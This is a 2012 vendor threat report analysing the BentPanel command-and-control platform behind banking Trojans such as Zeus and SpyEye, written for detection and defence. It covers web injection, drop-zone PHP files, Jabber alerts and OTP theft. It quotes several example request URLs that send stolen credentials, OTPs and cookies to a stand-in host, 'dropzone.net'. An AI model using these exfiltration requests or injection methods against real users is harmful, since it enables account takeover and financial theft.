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Versafe Introduction – executive summary
Versafe eliminates online identity theft and financial damages by preventing Phishing, Trojans, and
Pharming attacks. We also specialize in taking actions to foil online fraud and commencing shutdown of
websites hosting infringing material.
Versafe offers products and services that complement existing anti-fraud technologies, improving the
clients’ protection against the aforementioned malicious activity and providing an encompassing
defence mechanism. Versafe products are either software or services based, customized to the needs of
each client individually.
Versafe enables financial organizations working online to gain control over areas that were virtually
unreachable and indefensible up till now, and neutralize local threats found on their clients’ personal
computers, without requiring the installation of software on the end user side. The transparent solution
does not alter the user experience in any way, facilitating a seamless installation on the firm’s web sites.
Versafe's one-of-a-kind solution has proven its exceptional effectiveness time and again in a large
number of financial institutions worldwide, helping them prevent harm to their brand image and avoid
significant economic damage.
Furthermore, Versafe provides professional services and advanced research capabilities in the field of
cybercrime including malware, Trojan horses, viruses, and infringing materiel.
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The Threat
Trojans are malware that appears to the user, to perform a desirable function but (perhaps in addition
to the expected function) steals information or harms the system.

Two main techniques used by Trojans in order to steal the users' credentials or initiate money
transactions on their behalf are:



Modifying the website's client side webpage.
Sniffing the browser's activity for information which is sent to different banks, before the
packets are encrypted by SSL.

Versafe’s knowledge is based on extensive research into the
several forms of Trojan infections, experience with cleaning
infections and repairing the damage caused by zero-day
threats. Our deep understanding of how the malware works is
the key to producing the right defence mechanisms required
to safeguard the information transmitted between the client
and the organization.

Script injections
Recently several Trojan horses (i.e Zeus, SpyEye, CarBerp) started using script injection techniques in
order to modify the original web page. The modification may enable the attacker to perform money
transactions using the victimized users' credentials. This may be perpetrated by a Trojan horse injecting
a malicious java script code to the client's browser, once the client is connected to the website. The
code that is injected perform different functions, including attempting a money transfer from the
client's account.
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In order to maintain the information sent by the Trojans, the attackers have developed different types
of command and control systems that enable them to grab and manage the information sent by the
Trojan. The systems are usually PHP based systems accompanied by an SQL database.

The Botnet architecture
In order to avoid shutdown and fast detection the attacker is using several proxy servers under
different domains that forward the information to the main server. This method enable the Botnet to
exist if one of the domains/servers is shutdown.
The basic structure looks like this:
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BentPanel – command and control platform
The Bentpanel C&C platform is a very simple platform written in PHP that has the ability to receive the
victim's information, sort the information and display it to the attacker. The system is widely spread
since it is very simple to implement and very user friendly.
The system includes the following features:




Creation of users' credentials database – SQL and text files.
Real time victim alert – via Jabber.
Custom skins for management.

Recognition of the system
This kind of C&C can be identified according to the post request that is sent from the infected computer
to the location of the system. The request usually contains the following parameters, this is the request
sent from the user:

The bank's name
Parameter

According to the
bank's forms

According to the
bank's forms

The bank's URL

http://dropzone.net/ xxx/xxx.php?bname=bankname&activ&adata=Password:^1234567;authcode:^54321^https://demobank.com/
/Login2.0/RTLogbn/ login.aspx?guid=a2c313c7-eca2-4224-a95f-9d9c3e050a97

The victim's identifier

Another common identifier of the system is the waiting sign that is injected to the user while the
information is sent to the attacker and the transaction is executed. The GIF looks like this (spinning
wheel):

Usually by the same
name

It can be usually found at: http://dropzone.net/xxx/xxxxxxx_loading.gif
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Important files:
The C&C platform contains a few important files that enable it to capture the information that is sent
from the victim. The most are important files are:





Main file, captures the information, logs it and delivers it to the database.
Database connection configuration file.
C&C management file.
Jabber connection.

Main PHP
This file is the most important file on the platform. The request that is sent from the victim (after the
injection) is delivered to this file which is able to parse the information, log it and enter it to the
database.
The request that is sent from the victim looks like this:
The xxxx.php
http://dropzone.net/ xxx/xxx.php?bname=bankname&activ&adata=Password:^1234567;authcode:^54321^https://demobank.com/
/Login2.0/RTLogbn/ login.aspx?guid=a2c313c7-eca2-4224-a95f-9d9c3e050a97

If we look on the XXX.php code, we can see how it handles the information.
1) Connecting to the database – the main file includes the config file that contains the information
that enables it to connect to the database (SQL).
2) The file verifies that the information that is received comes from a known bank, if not the
information is dropped. Please note, this verification doesn’t appear in all the dropzones. Some
of the main files create a new client according to the information that is received.
The server's configurations file variables:
The database
connection parameters

The Jabber connection
credentials
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Including the
xxxx.php file

Bank verification

Connecting to the database
with the configuration
parameters

3) Parsing the information and inserting it into the database SQL and TXT file.

Checking if it the first
recorded information

Choosing the bank's
parameters
Checking if the
victim's IP exists in
the database, if it
does it modifies it's
properties, and if it
doesn’t it creates a
new record.
Logging the
information into the
bank's txt file

Please note, the information that is recivied and logged In the TXT file is not checked and
sanitized, which means it can contain any random information.
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XMPP and Jabber
4) Informing the attacker of new information logged in
the database via XMPP and Jabber.
The XXXX.php file contains the connection parameters
and functions and included in the main file. Here is a
sample of the XXXX.php file:
The basic
connection
information

What are XMPP (Extensible Messaging
and Presence Protocol) and Jabber?
Extensible Messaging and Presence
Protocol (XMPP) (formerly named Jabber)
is an open, XML-based protocol originally
aimed at near-real-time, extensible
instant messaging (IM) and presence
information (e.g., buddy lists), but now
expanded into the broader realm of
message-oriented middleware.[2] It was
developed by the Jabber open-source
community in 1999. Built to be extensible,
the protocol has been extended with
features such as Voice over Internet
Protocol and file transfer signalling.

URL's and
server
parameters

The massage that is sent via Jabber as coded in the main file:

The Jabber's control panel:

The message
that is sent
to the
attacker

The attacker's
system password
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Example of the information recived via the Jabber

The information as it is
displayed to the attacker

Admin file
The file loads the attacker's management console. Loading this page will provide him with the console
that enables him to view, edit and manage his captured credentials. The page is usually password
protected and looks like this:
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Once the attacker enters his password he is able to review the captured information. There are more
than a few management consoles with different types of functions, features and graphics:
The most basic one looks like this:

Another example:

The TAN's administration panel:

The IP of
the BOT

Date and
time

Minimum
TAN value

Maximum
TAN value

The attacker's transfer
limitations.
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The transactions configurations

The amount
configurations

The User's Manual (originally in Russian) :
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The victim's side
The user connects to the bank's login page. The Trojan identifies the page as a target and injects the
malicious code into the user's browser.
The code captures the user's credentials and sends them to the attacker's drop zone:
http://dropzone.net/ XXX/XXX.php?bname=bankname&activ&adata=Password:^1234567;authcode:^54321^https://demobank.com/
/Login2.0/RTLogbn/ login.aspx?guid=a2c313c7-eca2-4224-a95f-9d9c3e050a97

Captured by
the Trojan

The request that is sent from the user's browser after submitting the information in this case (demo
bank) would be:
http://dropzone.net/ XXX/XXX.php?bname=demobank&activ&adata=username:^1234567;password:^54321^https://demobank.com/
login.php?guid=a2c313c7-eca2-4224-a95f-9d9c3e050a97

This is a part of the injected code that sends the information to the dropzone:
The request that will be
sent to the main file

After the user's credentials are captured by the Trojan, the HTML injections are done in order to capture
the user's OTP to conduct the automatic transaction. The attackers display different types of messages
to the user in order to fool him to enter his OTP/TOKKEN/TAN.

VERSAFE Ltd | Secure Login
11 Moshe Levi St. (UMI Building) Rishon Le Zion | Israel
Tel: +972-3-9622655 | Fax: +972-3-9511433 | info@versafe-login.com
www.versafe-login.com

Confidential | VERSAFE | June 2012

How it works
1. The victim gets a massage related to new security steps needed for his account.

2. The client is requested to enter his OTP
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The information is delivered to the attacker's dropzone as well as can be seen according to the injected
code:
The request that is sent to the
attacker including the OTP

In some cases, the attacker will also use a flash based cookie capturing method to receive the victim's
cookie. The injected code will include the following URL:
http://nfriedly.github.com/Javascript-Flash-Cookies/storage.swf
Handling cross domain
flash cookies.

The cookie is sent to the attacker's dropzone using this request:
http://dropzone.net/XXX/tXXXX.php?bname=demobank&GetCookie

3. Once the attacker has the victim's information, the victim is asked to wait. While he is waiting,
the transaction can be made.
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Executing the automatic transaction
Two common ways:



Injecting a Javascript on the client side that will use the captured user information (credentials,
cookie and OTP) to perform the automatic transaction.
Using an automated script on the server side that will use the victim's captured information in
order to perform the transaction.
Both ways are found on the wild and can be used by the attacker. Here is a sample of a
Javascript that is loaded on the victim's side and is able to perform the transaction:

Eval
obfuscation

A sample of the code de-obfuscated:

List of all
the
variables
that are
used for the
attack
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Summary






The bentpanel is a very convenient platform to control the Trojans received information.
It is very simple to implement, and does not require any special skills from the attacker.
It captures all of the information in an SQL database, and logs it in TXT files as well.
The platform widely spread and very common on the wild (especially in Europe).
The platform is equipped with real time alerting the attacker regarding attacks.
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